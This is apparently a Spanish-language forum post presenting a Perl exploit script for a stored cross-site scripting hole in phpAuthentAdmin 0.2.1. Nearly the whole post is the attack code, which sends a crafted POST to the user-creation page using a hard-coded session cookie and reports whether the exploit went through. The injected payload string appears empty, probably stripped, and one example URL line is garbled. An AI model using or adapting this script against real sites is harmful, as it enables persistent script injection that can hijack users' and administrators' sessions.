phpAuthentAdmin 0.2.1 permanent XSS

Bueno hace poco publique un exploit en security focus, para insetar un código javascript permanente...

#!/usr/bin/perl
#Autor: Yoyahack
#Web: http://undersecurity.net
#Gretz: OzX, p0fk, S[e]C, ksha, seth, champloo, SH4V....

use LWP::UserAgent;
use HTTP::Request::Common;

#Source

print q(---------------------------------
Autor: Yoyahack
Web: http://undersecurity.net
Gretz: OzX, p0fk, S[e]C, ksha, seth, champloo, SH4V....
---------------------------------
);

if(!$ARGV[0]){
print "Insert web\n";
print "Ex: www.webpage.comhttp://www.webpage.com\n";
exit;
}

$xss = qq();
my $ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.2pre)".
"Gecko/20100308 Ubuntu/9.10 (karmic) Namoroka/3.6.2pre");

$response = $ua->request(
POST "http://$ARGV[0]/phpauthent/phpauthentadmin/useradd.php?action=create",
{
action => 'changerealname',
name => $xss,
action => 'rename',
login => 'aaa',
action=> 'password',
password => 'XSS',
action => 'changeemail',
email => 'XSS',
},
'Cookie' => 'PHPSESSID=cf1c170aa9d334d6cec1514e721573e6',
);
$loc = 'index.php?msg=001';
if($loc eq $response->header('location')){
print "\n\nExploit send!\n";
exit;
}
print "\n\nExploit Faield\n";